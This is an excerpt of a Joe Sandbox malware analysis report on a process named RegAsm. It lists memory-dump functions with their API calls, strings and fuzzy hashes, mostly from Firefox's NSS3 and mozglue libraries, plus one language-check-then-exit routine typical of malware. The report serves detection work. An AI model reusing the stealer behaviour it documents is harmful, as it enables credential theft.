Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 8a65b18bdf1cce49b57ab609bc84eb6d6a56dc0289f82043fb15abbfcfd1510e
Instruction ID: 58f115cfa6eac0d5a008ec9b62e1bad4ff1155675d68eeb5990bc53baca2651f
Opcode Fuzzy Hash: 8a65b18bdf1cce49b57ab609bc84eb6d6a56dc0289f82043fb15abbfcfd1510e
Instruction Fuzzy Hash: 4F21BFB1A047018FDB08EF38C58455AB7F4FF55308F19896ED9888B711EB35E886CB91

Function 6CA90ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CA90EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CA90EFA

Part of subcall function 6C97AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C97AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA90F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA90F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA90F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA90F2B

Strings

Aborting, xrefs: 6CA90EB3
Assertion failure: %s, at %s:%d, xrefs: 6CA90ED9, 6CA90EE5, 6CA90F06, 6CA90F0B

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: aa668d3bba7a0d0fb79fd3f6d17f624bd05d8b844ab70c199226c4c9632c092a
Instruction ID: 46d146ab3b372be2f5feb3d1ae1f3a24f6ddd0d5973e2409fc1746b9e22d0164
Opcode Fuzzy Hash: aa668d3bba7a0d0fb79fd3f6d17f624bd05d8b844ab70c199226c4c9632c092a
Instruction Fuzzy Hash: B601D6B69002157BDF016F94DC45C9B3F7CDF4A368B448014FD0A87711D631EA5187A2

Function 6C8A9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C89AB89: EnterCriticalSection.KERNEL32(6C8EE370,?,?,?,6C8634DE,6C8EF6CC,?,?,?,?,?,?,?,6C863284), ref: 6C89AB94
Part of subcall function 6C89AB89: LeaveCriticalSection.KERNEL32(6C8EE370,?,6C8634DE,6C8EF6CC,?,?,?,?,?,?,?,6C863284,?,?,6C8856F6), ref: 6C89ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C874A68), ref: 6C8A945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8A9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8A9482
__Init_thread_footer.LIBCMT ref: 6C8A949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C8A947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C8A946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C8A9459

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: cf64515f720c3e5836b608b221dffe7a9b262183a3aed66dd0f2a47030f6dd65
Instruction ID: befe04906b1841b916e2aa3d57b4302218c46be231529ea5b2d6941f49d8e830
Opcode Fuzzy Hash: cf64515f720c3e5836b608b221dffe7a9b262183a3aed66dd0f2a47030f6dd65
Instruction Fuzzy Hash: 0401D870E051018BE770DB9DEE11A8737B59B0F32CF044D36D90A86B42D622D555CA9B

Function 6CA54D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CA54DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA54DE0

Strings

misuse, xrefs: 6CA54DD5
API call with %s database connection pointer, xrefs: 6CA54DBD
invalid, xrefs: 6CA54DB8
%s at line %d of [%.10s], xrefs: 6CA54DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA54DCB

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 73c3ef17954b2be1bff8bee2323d7528c4681f30be1a1c7956ba31281bee52e2
Instruction ID: 77e88b860b40244dc17794f6401e2f78641c7c78d5a03aaf184a364c005bba03
Opcode Fuzzy Hash: 73c3ef17954b2be1bff8bee2323d7528c4681f30be1a1c7956ba31281bee52e2
Instruction Fuzzy Hash: B1F0B427E146642FD7014156CC10F9637696F12319F8A49A0ED087BA52E636A8F082A1

Function 6CA54DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CA54E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA54E4D

Strings

misuse, xrefs: 6CA54E42
API call with %s database connection pointer, xrefs: 6CA54E2A
invalid, xrefs: 6CA54E25
%s at line %d of [%.10s], xrefs: 6CA54E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA54E38

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: fb3912edbeb984b26513fd7f4e1313c12ae18fa0345baee79f06ea614a9ec4ff
Instruction ID: 94f1af92280338dd06303feeb53adc43a723f331e8199a168bc4921c19d6ecf1
Opcode Fuzzy Hash: fb3912edbeb984b26513fd7f4e1313c12ae18fa0345baee79f06ea614a9ec4ff
Instruction Fuzzy Hash: 8CF0E211F449282FE61100659C14FC237BA6B12329F8DE4A1EE0877E92D72A98F042A1

Function 00416210 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214
ExitProcess.KERNEL32 ref: 00416245
ExitProcess.KERNEL32 ref: 0041624F
ExitProcess.KERNEL32 ref: 00416259
ExitProcess.KERNEL32 ref: 00416263
ExitProcess.KERNEL32 ref: 0041626D

Strings

*, xrefs: 0041622C

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 5ece0110b3631b66e0cf394c1ce0ab63be50b876c6328f41a651a73fa16b4c2b
Instruction ID: 0b6e22eaf0c44992244314602628df478572758edaaa30d1127695f9febd7a00
Opcode Fuzzy Hash: 5ece0110b3631b66e0cf394c1ce0ab63be50b876c6328f41a651a73fa16b4c2b
Instruction Fuzzy Hash: 49F05830908A08EFE764AFE0EA09F5CBB3AEF04713F108195F609C7290CB748A11DB55

Function 6C9C0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C9C1444,?,00000001,?,00000000,00000000,?,?,6C9C1444,?,?,00000000,?,?), ref: 6C9C0CB3

Part of subcall function 6CA2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA2C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C9C1444,?,00000001,?,00000000,00000000,?,?,6C9C1444,?), ref: 6C9C0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C9C1444,?,00000001,?,00000000,00000000,?,?,6C9C1444,?), ref: 6C9C0DEC

Part of subcall function 6C9E0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C982AF5,?,?,?,?,?,6C980A1B,00000000), ref: 6C9E0F1A
Part of subcall function 6C9E0F10: malloc.MOZGLUE(00000001), ref: 6C9E0F30
Part of subcall function 6C9E0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C9E0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C9C1444,?,00000001,?,00000000,00000000,?), ref: 6C9C0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C9C1444,?,00000001,?,00000000), ref: 6C9C0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C9C1444,?,00000001,?,00000000,00000000,?), ref: 6C9C0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C9C1444,?,00000001,?,00000000,00000000,?,?,6C9C1444,?,?,00000000), ref: 6C9C0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C9C1444,?,00000001,?,00000000,00000000,?), ref: 6C9C0E79

Part of subcall function 6C9D1560: TlsGetValue.KERNEL32(00000000,?,6C9A0844,?), ref: 6C9D157A
Part of subcall function 6C9D1560: EnterCriticalSection.KERNEL32(?,?,?,6C9A0844,?), ref: 6C9D158F
Part of subcall function 6C9D1560: PR_Unlock.NSS3(?,?,?,?,6C9A0844,?), ref: 6C9D15B2

Part of subcall function 6C99B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C9A1397,00000000,?,6C99CF93,5B5F5EC0,00000000,?,6C9A1397,?), ref: 6C99B1CB
Part of subcall function 6C99B1A0: free.MOZGLUE(5B5F5EC0,?,6C99CF93,5B5F5EC0,00000000,?,6C9A1397,?), ref: 6C99B1D2

Part of subcall function 6C9989E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C9988AE,-00000008), ref: 6C998A04
Part of subcall function 6C9989E0: EnterCriticalSection.KERNEL32(?), ref: 6C998A15
Part of subcall function 6C9989E0: memset.VCRUNTIME140(6C9988AE,00000000,00000132), ref: 6C998A27
Part of subcall function 6C9989E0: PR_Unlock.NSS3(?), ref: 6C998A35

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 07b9029dafbbaa11a1870994c023ce43953776f6dc14ab912c19bc900a9e9da3
Instruction ID: 8790955205812e3913510235ac58c1613ef490ca92f1747b55462e204c0b1064
Opcode Fuzzy Hash: 07b9029dafbbaa11a1870994c023ce43953776f6dc14ab912c19bc900a9e9da3
Instruction Fuzzy Hash: 1851A6F6E002015FEB009F64DC81AAB37A8AF65618F155464ED0997712EB31ED1987A3

Function 6C976E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C976ED8
sqlite3_value_text.NSS3(?,?), ref: 6C976EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C976FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C976FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C976FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C977010
sqlite3_value_blob.NSS3(?,?), ref: 6C97701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C977052

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 1d4c71b5b9102d4c792302bd3f7841c2625bfd4f4d450fbe67588341bcf130cb
Instruction ID: 838ac4e84b33db812b0aa7242dd66305561e59fa945b21892a254733142cd6b5
Opcode Fuzzy Hash: 1d4c71b5b9102d4c792302bd3f7841c2625bfd4f4d450fbe67588341bcf130cb
Instruction Fuzzy Hash: 8461C2B1E162068BDB11CF64C9407EEB7B6BF55308F184169D814AB751E732DD29CBB0

Function 6C9E8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C9E7313), ref: 6C9E8FBB

Part of subcall function 6C9E07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C988298,?,?,?,6C97FCE5,?), ref: 6C9E07BF
Part of subcall function 6C9E07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C9E07E6
Part of subcall function 6C9E07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C9E081B
Part of subcall function 6C9E07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C9E0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C9E7313), ref: 6C9E9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C9E7313), ref: 6C9E903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C9E7313), ref: 6C9E909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C9E7313), ref: 6C9E90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C9E7313), ref: 6C9E90F1

Part of subcall function 6C9E10C0: TlsGetValue.KERNEL32(?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E10F3
Part of subcall function 6C9E10C0: EnterCriticalSection.KERNEL32(?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E110C
Part of subcall function 6C9E10C0: PL_ArenaAllocate.NSS3(?,?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E1141
Part of subcall function 6C9E10C0: PR_Unlock.NSS3(?,?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E1182
Part of subcall function 6C9E10C0: TlsGetValue.KERNEL32(?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C9E7313), ref: 6C9E906B

Part of subcall function 6CA2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA2C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C9E7313), ref: 6C9E9128

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 4338f970ea2e88309cb9303f1d43560bbd009203ac989c37742f41131cdfcdf0
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: C9519271A00201CFEB11DF6ADC44BA6B3F9AF6C319F164429D915D7B62EB32E904CB91

Function 6C9C88E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9C88FC

Part of subcall function 6C9DBE30: SECOID_FindOID_Util.NSS3(6C99311B,00000000,?,6C99311B,?), ref: 6C9DBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C9C8913

Part of subcall function 6C9E0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9887ED,00000800,6C97EF74,00000000), ref: 6C9E1000
Part of subcall function 6C9E0FF0: PR_NewLock.NSS3(?,00000800,6C97EF74,00000000), ref: 6C9E1016
Part of subcall function 6C9E0FF0: PL_InitArenaPool.NSS3(00000000,security,6C9887ED,00000008,?,00000800,6C97EF74,00000000), ref: 6C9E102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6CAAD864,?), ref: 6C9C8947

Part of subcall function 6C9DE200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C9DE245
Part of subcall function 6C9DE200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C9DE254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C9C895B
DER_GetInteger_Util.NSS3(?), ref: 6C9C8973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9C8982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C9C89EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C9C8A12

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: 3dc294ce4c14623c03a88a88009692a85cd367f64a50a306575bb4931d433146
Instruction ID: 6b5e651735e3bb744f2512f84307ef827456494166ab1ccae8b3dc9572a9680b
Opcode Fuzzy Hash: 3dc294ce4c14623c03a88a88009692a85cd367f64a50a306575bb4931d433146
Instruction Fuzzy Hash: 5D316BB1B0460053F7185639AC417AA729D9FA136CF240B3BD91AE7B91FB31D84A8297

Function 6C9A4E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9A4E90
EnterCriticalSection.KERNEL32 ref: 6C9A4EA9
TlsGetValue.KERNEL32 ref: 6C9A4EC6
EnterCriticalSection.KERNEL32 ref: 6C9A4EDF
PL_HashTableLookup.NSS3 ref: 6C9A4EF8
PR_Unlock.NSS3 ref: 6C9A4F05
PR_Now.NSS3 ref: 6C9A4F13
PR_Unlock.NSS3 ref: 6C9A4F3A

Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707AD
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707CD
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707D6
Part of subcall function 6C9707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C90204A), ref: 6C9707E4
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,6C90204A), ref: 6C970864
Part of subcall function 6C9707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C970880
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,6C90204A), ref: 6C9708CB
Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(?,?,6C90204A), ref: 6C9708D7
Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(?,?,6C90204A), ref: 6C9708FB

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 61a86cb0fa63299a822021623a7a72015cb8eea5c31d6e0d38056fb4c15cbb01
Instruction ID: 800fe4e04a39e3b5bc87c5734696421d2ee11b4ba64b6d8fef4b18e10245541e
Opcode Fuzzy Hash: 61a86cb0fa63299a822021623a7a72015cb8eea5c31d6e0d38056fb4c15cbb01
